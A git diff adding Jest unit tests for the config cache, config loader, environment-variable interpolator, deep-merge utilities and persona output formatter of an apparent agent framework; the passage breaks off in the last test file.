diff --git a/tests/core/config/config-cache.test.js b/tests/core/config/config-cache.test.js new file mode 100644 index 000000000..88e75e979 --- /dev/null +++ b/tests/core/config/config-cache.test.js @@ -0,0 +1,255 @@ +/** + * Unit tests for config-cache + * + * Tests ConfigCache class: TTL expiration, get/set/has, invalidation, + * clearExpired, statistics, entries, serialization, and global singleton. + */ + +jest.useFakeTimers(); + +const { ConfigCache, globalConfigCache } = require('../../../.aios-core/core/config/config-cache'); + +afterAll(() => { + jest.useRealTimers(); +}); + +describe('config-cache', () => { + let cache; + + beforeEach(() => { + cache = new ConfigCache(1000); // 1 second TTL for tests + }); + + describe('constructor', () => { + test('uses default TTL of 5 minutes', () => { + const defaultCache = new ConfigCache(); + expect(defaultCache.ttl).toBe(5 * 60 * 1000); + }); + + test('accepts custom TTL', () => { + expect(cache.ttl).toBe(1000); + }); + + test('initializes empty stats', () => { + expect(cache.hits).toBe(0); + expect(cache.misses).toBe(0); + expect(cache.size).toBe(0); + }); + }); + + describe('set and get', () => { + test('stores and retrieves a value', () => { + cache.set('key1', 'value1'); + expect(cache.get('key1')).toBe('value1'); + }); + + test('stores objects', () => { + const obj = { nested: { data: true } }; + cache.set('obj', obj); + expect(cache.get('obj')).toBe(obj); + }); + + test('returns null for missing key', () => { + expect(cache.get('missing')).toBeNull(); + }); + + test('returns null for expired key', () => { + cache.set('key1', 'value1'); + jest.advanceTimersByTime(1500); // past 1s TTL + expect(cache.get('key1')).toBeNull(); + }); + + test('removes expired entry from cache on get', () => { + cache.set('key1', 'value1'); + jest.advanceTimersByTime(1500); + cache.get('key1'); + expect(cache.size).toBe(0); + }); + + test('overwrites existing key', () => { + cache.set('key1', 'v1'); + cache.set('key1', 'v2'); + expect(cache.get('key1')).toBe('v2'); + }); + }); + + describe('has', () => { + test('returns true for valid entry', () => { + cache.set('key1', 'value1'); + expect(cache.has('key1')).toBe(true); + }); + + test('returns false for missing entry', () => { + expect(cache.has('missing')).toBe(false); + }); + + test('returns false for expired entry', () => { + cache.set('key1', 'value1'); + jest.advanceTimersByTime(1500); + expect(cache.has('key1')).toBe(false); + }); + }); + + describe('invalidate', () => { + test('removes specific entry', () => { + cache.set('key1', 'v1'); + cache.set('key2', 'v2'); + const deleted = cache.invalidate('key1'); + expect(deleted).toBe(true); + expect(cache.get('key1')).toBeNull(); + expect(cache.get('key2')).toBe('v2'); + }); + + test('returns false for non-existent key', () => { + expect(cache.invalidate('missing')).toBe(false); + }); + }); + + describe('clear', () => { + test('removes all entries and resets stats', () => { + cache.set('a', 1); + cache.set('b', 2); + cache.get('a'); // hit + cache.get('missing'); // miss + cache.clear(); + expect(cache.size).toBe(0); + expect(cache.hits).toBe(0); + expect(cache.misses).toBe(0); + }); + }); + + describe('clearExpired', () => { + test('removes only expired entries', () => { + cache.set('old', 'data'); + jest.advanceTimersByTime(800); + cache.set('new', 'data'); + jest.advanceTimersByTime(300); // old is 1100ms, new is 300ms + const cleared = cache.clearExpired(); + expect(cleared).toBe(1); + expect(cache.get('new')).toBe('data'); + }); + + test('returns 0 when nothing expired', () => { + cache.set('fresh', 'data'); + expect(cache.clearExpired()).toBe(0); + }); + + test('returns 0 on empty cache', () => { + expect(cache.clearExpired()).toBe(0); + }); + }); + + describe('size', () => { + test('returns number of entries', () => { + expect(cache.size).toBe(0); + cache.set('a', 1); + expect(cache.size).toBe(1); + cache.set('b', 2); + expect(cache.size).toBe(2); + }); + }); + + describe('statistics', () => { + test('tracks hits and misses', () => { + cache.set('key1', 'v1'); + cache.get('key1'); // hit + cache.get('key1'); // hit + cache.get('missing'); // miss + expect(cache.hits).toBe(2); + expect(cache.misses).toBe(1); + }); + + test('getStats returns correct statistics', () => { + cache.set('key1', 'v1'); + cache.get('key1'); // hit + cache.get('missing'); // miss + const stats = cache.getStats(); + expect(stats.size).toBe(1); + expect(stats.hits).toBe(1); + expect(stats.misses).toBe(1); + expect(stats.total).toBe(2); + expect(stats.hitRate).toBe('50.0%'); + expect(stats.ttl).toBe(1000); + expect(stats.ttlMinutes).toBe('0.0'); + }); + + test('getStats returns 0.0% hit rate when no requests', () => { + const stats = cache.getStats(); + expect(stats.hitRate).toBe('0.0%'); + }); + + test('resetStats clears counters but keeps cache', () => { + cache.set('key1', 'v1'); + cache.get('key1'); + cache.resetStats(); + expect(cache.hits).toBe(0); + expect(cache.misses).toBe(0); + expect(cache.get('key1')).toBe('v1'); + }); + }); + + describe('keys', () => { + test('returns array of cache keys', () => { + cache.set('a', 1); + cache.set('b', 2); + expect(cache.keys()).toEqual(['a', 'b']); + }); + + test('returns empty array for empty cache', () => { + expect(cache.keys()).toEqual([]); + }); + }); + + describe('entries', () => { + test('returns entries with age and expiry info', () => { + cache.set('key1', 'value1'); + jest.advanceTimersByTime(200); + const entries = cache.entries(); + expect(entries).toHaveLength(1); + expect(entries[0].key).toBe('key1'); + expect(entries[0].value).toBe('value1'); + expect(entries[0].age).toBe(200); + expect(entries[0].ageSeconds).toBe('0.2'); + expect(entries[0].expires).toBe(800); + expect(entries[0].expiresSeconds).toBe('0.8'); + }); + }); + + describe('setTTL', () => { + test('updates TTL for future expiration checks', () => { + cache.set('key1', 'v1'); + cache.setTTL(500); + jest.advanceTimersByTime(600); + expect(cache.get('key1')).toBeNull(); + }); + }); + + describe('toJSON', () => { + test('serializes cache state to JSON string', () => { + cache.set('key1', 'v1'); + cache.get('key1'); // hit + const json = cache.toJSON(); + const parsed = JSON.parse(json); + expect(parsed.size).toBe(1); + expect(parsed.stats).toBeDefined(); + expect(parsed.entries).toHaveLength(1); + expect(parsed.entries[0].key).toBe('key1'); + }); + + test('produces valid JSON for empty cache', () => { + const parsed = JSON.parse(cache.toJSON()); + expect(parsed.size).toBe(0); + expect(parsed.entries).toEqual([]); + }); + }); + + describe('globalConfigCache', () => { + test('is a ConfigCache instance', () => { + expect(globalConfigCache).toBeInstanceOf(ConfigCache); + }); + + test('has default 5 minute TTL', () => { + expect(globalConfigCache.ttl).toBe(5 * 60 * 1000); + }); + }); +}); diff --git a/tests/core/config/config-loader.test.js b/tests/core/config/config-loader.test.js new file mode 100644 index 000000000..52a9d4c2d --- /dev/null +++ b/tests/core/config/config-loader.test.js @@ -0,0 +1,341 @@ +/** + * Unit tests for config-loader module + * + * Tests the lazy-loading config loader with caching, agent-specific + * section loading, performance metrics, and validation. + */ + +const path = require('path'); + +jest.mock('fs', () => ({ + promises: { + readFile: jest.fn(), + }, +})); +jest.mock('js-yaml'); + +const fs = require('fs').promises; +const yaml = require('js-yaml'); + +const { + loadFullConfig, + loadConfigSections, + loadAgentConfig, + loadMinimalConfig, + preloadConfig, + clearCache, + getPerformanceMetrics, + validateAgentConfig, + getConfigSection, + agentRequirements, + ALWAYS_LOADED, +} = require('../../../.aios-core/core/config/config-loader'); + +describe('config-loader', () => { + beforeEach(() => { + jest.resetAllMocks(); + jest.spyOn(console, 'log').mockImplementation(() => {}); + jest.spyOn(console, 'error').mockImplementation(() => {}); + // Clear cache between tests + clearCache(); + }); + + afterEach(() => { + jest.restoreAllMocks(); + }); + + // ============================================================ + // Constants + // ============================================================ + describe('constants', () => { + test('ALWAYS_LOADED contains core sections', () => { + expect(ALWAYS_LOADED).toContain('frameworkDocsLocation'); + expect(ALWAYS_LOADED).toContain('projectDocsLocation'); + expect(ALWAYS_LOADED).toContain('devLoadAlwaysFiles'); + expect(ALWAYS_LOADED).toContain('lazyLoading'); + }); + + test('agentRequirements maps known agents', () => { + expect(agentRequirements.dev).toBeDefined(); + expect(agentRequirements.qa).toBeDefined(); + expect(agentRequirements.po).toBeDefined(); + expect(agentRequirements.architect).toBeDefined(); + expect(agentRequirements.devops).toBeDefined(); + }); + + test('all agents have ALWAYS_LOADED sections', () => { + for (const [, sections] of Object.entries(agentRequirements)) { + for (const required of ALWAYS_LOADED) { + expect(sections).toContain(required); + } + } + }); + + test('dev agent has specialized sections', () => { + expect(agentRequirements.dev).toContain('pvMindContext'); + expect(agentRequirements.dev).toContain('hybridOpsConfig'); + }); + }); + + // ============================================================ + // loadFullConfig + // ============================================================ + describe('loadFullConfig', () => { + test('loads and parses YAML config file', async () => { + const mockConfig = { frameworkDocsLocation: 'docs/', lazyLoading: true }; + fs.readFile.mockResolvedValue('yaml content'); + yaml.load.mockReturnValue(mockConfig); + + const result = await loadFullConfig(); + expect(result).toEqual(mockConfig); + expect(fs.readFile).toHaveBeenCalledWith( + path.join('.aios-core', 'core-config.yaml'), + 'utf8' + ); + }); + + test('throws on file read error', async () => { + fs.readFile.mockRejectedValue(new Error('ENOENT')); + + await expect(loadFullConfig()).rejects.toThrow('Config load failed'); + }); + + test('logs error message on failure', async () => { + fs.readFile.mockRejectedValue(new Error('ENOENT')); + + try { await loadFullConfig(); } catch {} + expect(console.error).toHaveBeenCalled(); + }); + }); + + // ============================================================ + // loadConfigSections + // ============================================================ + describe('loadConfigSections', () => { + test('loads requested sections from full config', async () => { + const mockConfig = { + frameworkDocsLocation: 'docs/', + lazyLoading: true, + toolConfigurations: { lint: true }, + }; + fs.readFile.mockResolvedValue('yaml'); + yaml.load.mockReturnValue(mockConfig); + + const result = await loadConfigSections(['frameworkDocsLocation', 'lazyLoading']); + expect(result.frameworkDocsLocation).toBe('docs/'); + expect(result.lazyLoading).toBe(true); + expect(result.toolConfigurations).toBeUndefined(); + }); + + test('ignores non-existent sections', async () => { + fs.readFile.mockResolvedValue('yaml'); + yaml.load.mockReturnValue({ a: 1 }); + + const result = await loadConfigSections(['a', 'nonExistent']); + expect(result.a).toBe(1); + expect(result.nonExistent).toBeUndefined(); + }); + + test('uses cache on second call', async () => { + const mockConfig = { a: 1, b: 2 }; + fs.readFile.mockResolvedValue('yaml'); + yaml.load.mockReturnValue(mockConfig); + + // First call loads + await loadConfigSections(['a']); + // Second call should use cache + const result = await loadConfigSections(['b']); + expect(result.b).toBe(2); + // readFile should be called only once (cached) + expect(fs.readFile).toHaveBeenCalledTimes(1); + }); + }); + + // ============================================================ + // loadAgentConfig + // ============================================================ + describe('loadAgentConfig', () => { + test('loads config for known agent', async () => { + const mockConfig = { + frameworkDocsLocation: 'docs/', + projectDocsLocation: 'pdocs/', + devLoadAlwaysFiles: [], + lazyLoading: true, + toolConfigurations: { lint: true }, + }; + fs.readFile.mockResolvedValue('yaml'); + yaml.load.mockReturnValue(mockConfig); + + const result = await loadAgentConfig('qa'); + expect(result.frameworkDocsLocation).toBe('docs/'); + expect(result.toolConfigurations).toEqual({ lint: true }); + }); + + test('falls back to ALWAYS_LOADED for unknown agent', async () => { + const mockConfig = { + frameworkDocsLocation: 'docs/', + projectDocsLocation: 'pdocs/', + devLoadAlwaysFiles: [], + lazyLoading: true, + toolConfigurations: { lint: true }, + }; + fs.readFile.mockResolvedValue('yaml'); + yaml.load.mockReturnValue(mockConfig); + + const result = await loadAgentConfig('unknown-agent'); + expect(result.frameworkDocsLocation).toBe('docs/'); + // Unknown agent should NOT get toolConfigurations (not in ALWAYS_LOADED) + expect(result.toolConfigurations).toBeUndefined(); + }); + + test('logs loading messages', async () => { + fs.readFile.mockResolvedValue('yaml'); + yaml.load.mockReturnValue({}); + + await loadAgentConfig('dev'); + expect(console.log).toHaveBeenCalledWith( + expect.stringContaining('@dev') + ); + }); + }); + + // ============================================================ + // loadMinimalConfig + // ============================================================ + describe('loadMinimalConfig', () => { + test('loads only ALWAYS_LOADED sections', async () => { + const mockConfig = { + frameworkDocsLocation: 'docs/', + projectDocsLocation: 'pdocs/', + devLoadAlwaysFiles: ['a.js'], + lazyLoading: true, + toolConfigurations: { lint: true }, + pvMindContext: {}, + }; + fs.readFile.mockResolvedValue('yaml'); + yaml.load.mockReturnValue(mockConfig); + + const result = await loadMinimalConfig(); + expect(result.frameworkDocsLocation).toBe('docs/'); + expect(result.lazyLoading).toBe(true); + // Should NOT include non-ALWAYS_LOADED sections + expect(result.toolConfigurations).toBeUndefined(); + expect(result.pvMindContext).toBeUndefined(); + }); + }); + + // ============================================================ + // preloadConfig + // ============================================================ + describe('preloadConfig', () => { + test('loads full config into cache', async () => { + fs.readFile.mockResolvedValue('yaml'); + yaml.load.mockReturnValue({ a: 1 }); + + await preloadConfig(); + expect(console.log).toHaveBeenCalledWith(expect.stringContaining('Preloading')); + }); + }); + + // ============================================================ + // clearCache + // ============================================================ + describe('clearCache', () => { + test('forces reload on next call', async () => { + const mockConfig = { a: 1 }; + fs.readFile.mockResolvedValue('yaml'); + yaml.load.mockReturnValue(mockConfig); + + await loadConfigSections(['a']); + clearCache(); + await loadConfigSections(['a']); + + // After clear, readFile should be called again + expect(fs.readFile).toHaveBeenCalledTimes(2); + }); + }); + + // ============================================================ + // getPerformanceMetrics + // ============================================================ + describe('getPerformanceMetrics', () => { + test('returns metrics object', () => { + const metrics = getPerformanceMetrics(); + expect(metrics).toHaveProperty('loads'); + expect(metrics).toHaveProperty('cacheHits'); + expect(metrics).toHaveProperty('cacheMisses'); + expect(metrics).toHaveProperty('cacheHitRate'); + expect(metrics).toHaveProperty('avgLoadTimeMs'); + }); + + test('cacheHitRate is a percentage string', () => { + const metrics = getPerformanceMetrics(); + expect(metrics.cacheHitRate).toMatch(/^\d+(\.\d+)?%$/); + }); + }); + + // ============================================================ + // validateAgentConfig + // ============================================================ + describe('validateAgentConfig', () => { + test('returns valid when all sections exist', async () => { + const mockConfig = { + frameworkDocsLocation: 'docs/', + projectDocsLocation: 'pdocs/', + devLoadAlwaysFiles: [], + lazyLoading: true, + }; + fs.readFile.mockResolvedValue('yaml'); + yaml.load.mockReturnValue(mockConfig); + + const result = await validateAgentConfig('pm'); + expect(result.valid).toBe(true); + expect(result.missingSections).toHaveLength(0); + expect(result.agentId).toBe('pm'); + }); + + test('returns invalid when sections are missing', async () => { + fs.readFile.mockResolvedValue('yaml'); + yaml.load.mockReturnValue({}); + + const result = await validateAgentConfig('dev'); + expect(result.valid).toBe(false); + expect(result.missingSections.length).toBeGreaterThan(0); + }); + + test('uses ALWAYS_LOADED for unknown agent', async () => { + fs.readFile.mockResolvedValue('yaml'); + yaml.load.mockReturnValue({ + frameworkDocsLocation: 'docs/', + projectDocsLocation: 'pdocs/', + devLoadAlwaysFiles: [], + lazyLoading: true, + }); + + const result = await validateAgentConfig('custom'); + expect(result.valid).toBe(true); + expect(result.requiredSections).toEqual(ALWAYS_LOADED); + }); + }); + + // ============================================================ + // getConfigSection + // ============================================================ + describe('getConfigSection', () => { + test('returns specific section', async () => { + fs.readFile.mockResolvedValue('yaml'); + yaml.load.mockReturnValue({ toolConfigurations: { lint: true } }); + + const result = await getConfigSection('toolConfigurations'); + expect(result).toEqual({ lint: true }); + }); + + test('returns undefined for non-existent section', async () => { + fs.readFile.mockResolvedValue('yaml'); + yaml.load.mockReturnValue({}); + + const result = await getConfigSection('nonExistent'); + expect(result).toBeUndefined(); + }); + }); +}); diff --git a/tests/core/config/env-interpolator.test.js b/tests/core/config/env-interpolator.test.js new file mode 100644 index 000000000..49760850a --- /dev/null +++ b/tests/core/config/env-interpolator.test.js @@ -0,0 +1,123 @@ +/** + * Unit tests for env-interpolator + * + * Tests environment variable interpolation: ${VAR}, ${VAR:-default}, + * recursive object/array walking, linting, and edge cases. + */ + +const { interpolateString, interpolateEnvVars, lintEnvPatterns, ENV_VAR_PATTERN } = require('../../../.aios-core/core/config/env-interpolator'); + +describe('env-interpolator', () => { + const originalEnv = process.env; + + beforeEach(() => { + process.env = { ...originalEnv, TEST_VAR: 'hello', DB_HOST: 'localhost' }; + }); + + afterEach(() => { + process.env = originalEnv; + }); + + describe('interpolateString', () => { + test('resolves existing env var', () => { + expect(interpolateString('${TEST_VAR}')).toBe('hello'); + }); + + test('resolves multiple vars in one string', () => { + expect(interpolateString('host=${DB_HOST},val=${TEST_VAR}')).toBe('host=localhost,val=hello'); + }); + + test('uses default when var missing', () => { + expect(interpolateString('${MISSING_VAR:-fallback}')).toBe('fallback'); + }); + + test('returns empty string and warns for missing var without default', () => { + const warnings = []; + const result = interpolateString('${NONEXISTENT}', { warnings }); + expect(result).toBe(''); + expect(warnings).toHaveLength(1); + expect(warnings[0]).toContain('NONEXISTENT'); + }); + + test('returns string unchanged when no patterns', () => { + expect(interpolateString('plain text')).toBe('plain text'); + }); + + test('uses env value over default when var exists', () => { + expect(interpolateString('${TEST_VAR:-default}')).toBe('hello'); + }); + }); + + describe('interpolateEnvVars', () => { + test('interpolates nested objects', () => { + const config = { db: { host: '${DB_HOST}', port: 5432 } }; + const result = interpolateEnvVars(config); + expect(result.db.host).toBe('localhost'); + expect(result.db.port).toBe(5432); + }); + + test('interpolates arrays', () => { + const config = ['${TEST_VAR}', 'static']; + const result = interpolateEnvVars(config); + expect(result[0]).toBe('hello'); + expect(result[1]).toBe('static'); + }); + + test('passes through non-string scalars', () => { + expect(interpolateEnvVars(42)).toBe(42); + expect(interpolateEnvVars(true)).toBe(true); + expect(interpolateEnvVars(null)).toBe(null); + }); + + test('handles deeply nested structures', () => { + const config = { a: { b: { c: ['${TEST_VAR}'] } } }; + const result = interpolateEnvVars(config); + expect(result.a.b.c[0]).toBe('hello'); + }); + }); + + describe('lintEnvPatterns', () => { + test('detects env patterns in config', () => { + const config = { secret: '${API_KEY}' }; + const findings = lintEnvPatterns(config, 'config.yaml'); + expect(findings).toHaveLength(1); + expect(findings[0]).toContain('API_KEY'); + expect(findings[0]).toContain('config.yaml'); + }); + + test('detects patterns in nested objects', () => { + const config = { db: { password: '${DB_PASS}' } }; + const findings = lintEnvPatterns(config, 'app.yaml'); + expect(findings).toHaveLength(1); + expect(findings[0]).toContain('db.password'); + }); + + test('detects patterns in arrays', () => { + const config = { hosts: ['${HOST_1}', 'static'] }; + const findings = lintEnvPatterns(config, 'test.yaml'); + expect(findings).toHaveLength(1); + expect(findings[0]).toContain('HOST_1'); + }); + + test('returns empty for config without patterns', () => { + const config = { name: 'app', port: 3000 }; + const findings = lintEnvPatterns(config, 'test.yaml'); + expect(findings).toHaveLength(0); + }); + }); + + describe('ENV_VAR_PATTERN', () => { + test('matches simple var', () => { + expect('${FOO}'.match(ENV_VAR_PATTERN)).toBeTruthy(); + }); + + test('matches var with default', () => { + expect('${FOO:-bar}'.match(ENV_VAR_PATTERN)).toBeTruthy(); + }); + + test('does not match invalid var names', () => { + ENV_VAR_PATTERN.lastIndex = 0; + expect('${123}'.match(ENV_VAR_PATTERN)).toBeNull(); + }); + }); +}); diff --git a/tests/core/config/merge-utils.test.js b/tests/core/config/merge-utils.test.js new file mode 100644 index 000000000..3391b5fb2 --- /dev/null +++ b/tests/core/config/merge-utils.test.js @@ -0,0 +1,126 @@ +/** + * Unit tests for merge-utils + * + * Tests deep merge strategy per ADR-PRO-002: scalars last-wins, + * objects deep merge, arrays replace, +append, null delete, isPlainObject. + */ + +const { deepMerge, mergeAll, isPlainObject } = require('../../../.aios-core/core/config/merge-utils'); + +describe('merge-utils', () => { + describe('isPlainObject', () => { + test('returns true for plain objects', () => { + expect(isPlainObject({})).toBe(true); + expect(isPlainObject({ a: 1 })).toBe(true); + }); + + test('returns true for Object.create(null)', () => { + expect(isPlainObject(Object.create(null))).toBe(true); + }); + + test('returns false for arrays', () => { + expect(isPlainObject([])).toBe(false); + }); + + test('returns false for null', () => { + expect(isPlainObject(null)).toBe(false); + }); + + test('returns false for primitives', () => { + expect(isPlainObject('string')).toBe(false); + expect(isPlainObject(42)).toBe(false); + expect(isPlainObject(true)).toBe(false); + expect(isPlainObject(undefined)).toBe(false); + }); + + test('returns false for class instances', () => { + expect(isPlainObject(new Date())).toBe(false); + expect(isPlainObject(new Map())).toBe(false); + }); + }); + + describe('deepMerge', () => { + test('scalars: source overrides target', () => { + const result = deepMerge({ a: 1 }, { a: 2 }); + expect(result.a).toBe(2); + }); + + test('adds new keys from source', () => { + const result = deepMerge({ a: 1 }, { b: 2 }); + expect(result).toEqual({ a: 1, b: 2 }); + }); + + test('deep merges nested objects', () => { + const target = { db: { host: 'localhost', port: 5432 } }; + const source = { db: { host: 'remote', timeout: 30 } }; + const result = deepMerge(target, source); + expect(result.db).toEqual({ host: 'remote', port: 5432, timeout: 30 }); + }); + + test('arrays: source replaces target', () => { + const result = deepMerge({ tags: ['a', 'b'] }, { tags: ['c'] }); + expect(result.tags).toEqual(['c']); + }); + + test('+append: concatenates arrays', () => { + const result = deepMerge({ items: [1, 2] }, { 'items+append': [3, 4] }); + expect(result.items).toEqual([1, 2, 3, 4]); + }); + + test('+append: creates new array when target key missing', () => { + const result = deepMerge({}, { 'items+append': [1, 2] }); + expect(result.items).toEqual([1, 2]); + }); + + test('null value deletes key', () => { + const result = deepMerge({ a: 1, b: 2 }, { a: null }); + expect(result).toEqual({ b: 2 }); + expect('a' in result).toBe(false); + }); + + test('does not mutate inputs', () => { + const target = { a: { b: 1 } }; + const source = { a: { c: 2 } }; + const result = deepMerge(target, source); + expect(target.a).toEqual({ b: 1 }); + expect(result.a).toEqual({ b: 1, c: 2 }); + }); + + test('returns source when target not plain object', () => { + expect(deepMerge('string', { a: 1 })).toEqual({ a: 1 }); + }); + + test('returns target when source is undefined', () => { + expect(deepMerge({ a: 1 }, undefined)).toEqual({ a: 1 }); + }); + }); + + describe('mergeAll', () => { + test('merges multiple layers in order', () => { + const result = mergeAll( + { a: 1, b: 2 }, + { b: 3, c: 4 }, + { c: 5 }, + ); + expect(result).toEqual({ a: 1, b: 3, c: 5 }); + }); + + test('skips null and non-object layers', () => { + const result = mergeAll({ a: 1 }, null, undefined, 'string', { b: 2 }); + expect(result).toEqual({ a: 1, b: 2 }); + }); + + test('returns empty object when no layers', () => { + expect(mergeAll()).toEqual({}); + }); + + test('deep merges across layers', () => { + const result = mergeAll( + { db: { host: 'localhost' } }, + { db: { port: 5432 } }, + { db: { host: 'remote' } }, + ); + expect(result.db).toEqual({ host: 'remote', port: 5432 }); + }); + }); +}); diff --git a/tests/core/utils/output-formatter.test.js b/tests/core/utils/output-formatter.test.js new file mode 100644 index 000000000..0aed50ac3 --- /dev/null +++ b/tests/core/utils/output-formatter.test.js @@ -0,0 +1,272 @@ +/** + * Unit tests for output-formatter + * + * Tests PersonalizedOutputFormatter class: persona loading, header/status/ + * output/metrics/signature building, verb conjugation, tone-based messages, + * and graceful degradation. + */ + +jest.mock('fs'); +jest.mock('js-yaml'); + +const fs = require('fs'); +const yaml = require('js-yaml'); +const PersonalizedOutputFormatter = require('../../../.aios-core/core/utils/output-formatter'); + +describe('output-formatter', () => { + const mockAgent = { id: 'dev', name: 'Dex' }; + const mockTask = { name: 'implement-feature' }; + const mockResults = { + startTime: '2026-01-01T00:00:00Z', + endTime: '2026-01-01T00:05:00Z', + duration: '5m', + tokens: { total: 15000 }, + success: true, + output: 'Feature implemented successfully.', + tests: { passed: 10, total: 12 }, + coverage: '85', + linting: { status: '✅ Clean' }, + }; + + beforeEach(() => { + jest.resetAllMocks(); + jest.spyOn(console, 'warn').mockImplementation(); + jest.spyOn(console, 'error').mockImplementation(); + // Default: agent file not found -> neutral profile + fs.existsSync.mockReturnValue(false); + }); + + afterEach(() => { + console.warn.mockRestore(); + console.error.mockRestore(); + }); + + describe('constructor and persona loading', () => { + test('uses neutral profile when agent file not found', () => { + fs.existsSync.mockReturnValue(false); + const formatter = new PersonalizedOutputFormatter(mockAgent, mockTask, mockResults); + expect(formatter.personaProfile.archetype).toBe('Agent'); + }); + + test('uses neutral profile when agent has no id', () => { + const formatter = new PersonalizedOutputFormatter({}, mockTask, mockResults); + expect(formatter.personaProfile.archetype).toBe('Agent'); + }); + + test('uses neutral profile when agent is null', () => { + const formatter = new PersonalizedOutputFormatter(null, mockTask, mockResults); + expect(formatter.personaProfile.archetype).toBe('Agent'); + }); + + test('loads persona from agent file YAML block', () => { + fs.existsSync.mockReturnValue(true); + fs.readFileSync.mockReturnValue('# Agent\n```yaml\npersona_profile:\n archetype: Developer\n```'); + yaml.load.mockReturnValue({ + persona_profile: { + archetype: 'Developer', + communication: { + tone: 'pragmatic', + vocabulary: ['implementar', 'construir'], + }, + }, + }); + const formatter = new PersonalizedOutputFormatter(mockAgent, mockTask, mockResults); + expect(formatter.personaProfile.archetype).toBe('Developer'); + }); + + test('uses neutral profile when no YAML block in file', () => { + fs.existsSync.mockReturnValue(true); + fs.readFileSync.mockReturnValue('# Agent without yaml block'); + const formatter = new PersonalizedOutputFormatter(mockAgent, mockTask, mockResults); + expect(formatter.personaProfile.archetype).toBe('Agent'); + }); + + test('handles persona loading errors gracefully', () => { + fs.existsSync.mockReturnValue(true); + fs.readFileSync.mockImplementation(() => { throw new Error('read error'); }); + const formatter = new PersonalizedOutputFormatter(mockAgent, mockTask, mockResults); + expect(formatter.personaProfile.archetype).toBe('Agent'); + }); + + test('caches vocabulary when available', () => { + fs.existsSync.mockReturnValue(true); + fs.readFileSync.mockReturnValue('```yaml\ntest\n```'); + yaml.load.mockReturnValue({ + persona_profile: { + communication: { vocabulary: ['testar'] }, + }, + }); + const formatter = new PersonalizedOutputFormatter(mockAgent, mockTask, mockResults); + expect(formatter.vocabularyCache.get('dev')).toEqual(['testar']); + }); + }); + + describe('buildFixedHeader', () => { + test('includes agent name, task, and timing info', () => { + const formatter = new PersonalizedOutputFormatter(mockAgent, mockTask, mockResults); + const header = formatter.buildFixedHeader(); + expect(header).toContain('Dex'); + expect(header).toContain('implement-feature'); + expect(header).toContain('5m'); + expect(header).toContain('15,000'); + }); + + test('uses defaults for missing data', () => { + const formatter = new PersonalizedOutputFormatter({}, {}, {}); + const header = formatter.buildFixedHeader(); + expect(header).toContain('Agent'); + expect(header).toContain('task'); + }); + }); + + describe('buildPersonalizedStatus', () => { + test('shows success icon when success is true', () => { + const formatter = new PersonalizedOutputFormatter(mockAgent, mockTask, mockResults); + const status = formatter.buildPersonalizedStatus(); + expect(status).toContain('✅'); + }); + + test('shows failure icon when success is false', () => { + const formatter = new PersonalizedOutputFormatter(mockAgent, mockTask, { success: false }); + const status = formatter.buildPersonalizedStatus(); + expect(status).toContain('❌'); + }); + }); + + describe('buildOutput', () => { + test('includes output content from results', () => { + const formatter = new PersonalizedOutputFormatter(mockAgent, mockTask, mockResults); + expect(formatter.buildOutput()).toContain('Feature implemented successfully.'); + }); + + test('uses content field as fallback', () => { + const formatter = new PersonalizedOutputFormatter(mockAgent, mockTask, { content: 'alt content' }); + expect(formatter.buildOutput()).toContain('alt content'); + }); + + test('uses default message when no output', () => { + const formatter = new PersonalizedOutputFormatter(mockAgent, mockTask, {}); + expect(formatter.buildOutput()).toContain('Task completed successfully'); + }); + }); + + describe('buildFixedMetrics', () => { + test('includes test counts and coverage', () => { + const formatter = new PersonalizedOutputFormatter(mockAgent, mockTask, mockResults); + const metrics = formatter.buildFixedMetrics(); + expect(metrics).toContain('10/12'); + expect(metrics).toContain('85%'); + expect(metrics).toContain('Clean'); + }); + + test('uses defaults when no metrics', () => { + const formatter = new PersonalizedOutputFormatter(mockAgent, mockTask, {}); + const metrics = formatter.buildFixedMetrics(); + expect(metrics).toContain('0/0'); + expect(metrics).toContain('N/A'); + }); + }); + + describe('buildSignature', () => { + test('returns signature from persona profile', () => { + const formatter = new PersonalizedOutputFormatter(mockAgent, mockTask, mockResults); + expect(formatter.buildSignature()).toContain('Agent'); + }); + }); + + describe('selectVerbFromVocabulary', () => { + test('returns first verb from vocabulary', () => { + const formatter = new PersonalizedOutputFormatter(mockAgent, mockTask, mockResults); + expect(formatter.selectVerbFromVocabulary(['implementar', 'testar'])).toBe('implementar'); + }); + + test('returns default when vocabulary is empty', () => { + const formatter = new PersonalizedOutputFormatter(mockAgent, mockTask, mockResults); + expect(formatter.selectVerbFromVocabulary([])).toBe('completar'); + }); + + test('returns default when vocabulary is null', () => { + const formatter = new PersonalizedOutputFormatter(mockAgent, mockTask, mockResults); + expect(formatter.selectVerbFromVocabulary(null)).toBe('completar'); + }); + }); + + describe('generateSuccessMessage', () => { + let formatter; + beforeEach(() => { + formatter = new PersonalizedOutputFormatter(mockAgent, mockTask, mockResults); + }); + + test('pragmatic tone', () => { + const msg = formatter.generateSuccessMessage('pragmatic', 'implementar'); + expect(msg).toContain('pronto'); + expect(msg).toContain('Implementado'); + }); + + test('empathetic tone', () => { + const msg = formatter.generateSuccessMessage('empathetic', 'completar'); + expect(msg).toContain('cuidado'); + }); + + test('analytical tone', () => { + const msg = formatter.generateSuccessMessage('analytical', 'validar'); + expect(msg).toContain('rigorosamente'); + }); + + test('collaborative tone', () => { + const msg = formatter.generateSuccessMessage('collaborative', 'alinhar'); + expect(msg).toContain('harmonizado'); + }); + + test('neutral/default tone', () => { + const msg = formatter.generateSuccessMessage('neutral', 'completar'); + expect(msg).toContain('successfully'); + }); + }); + + describe('_getPastTense', () => { + let formatter; + beforeEach(() => { + formatter = new PersonalizedOutputFormatter(mockAgent, mockTask, mockResults); + }); + + test('converts -ar verbs', () => { + expect(formatter._getPastTense('implementar')).toBe('implementado'); + }); + + test('converts -er verbs', () => { + expect(formatter._getPastTense('resolver')).toBe('resolvido'); + }); + + test('converts -ir verbs', () => { + expect(formatter._getPastTense('construir')).toBe('construido'); + }); + + test('converts -or verbs', () => { + expect(formatter._getPastTense('compor')).toBe('compido'); + }); + + test('returns verb as-is for unknown ending', () => { + expect(formatter._getPastTense('test')).toBe('test'); + }); + }); + + describe('_capitalize', () => { + test('capitalizes first letter', () => { + const formatter = new PersonalizedOutputFormatter(mockAgent, mockTask, mockResults); + expect(formatter._capitalize('hello')).toBe('Hello'); + }); + }); + + describe('format', () => { + test('returns complete formatted markdown output', () => { + const formatter = new PersonalizedOutputFormatter(mockAgent, mockTask, mockResults); + const output = formatter.format(); + expect(output).toContain('Task Execution Report'); + expect(output).toContain('Status'); + expect(output).toContain('Output'); + expect(output).toContain('Metrics'); + 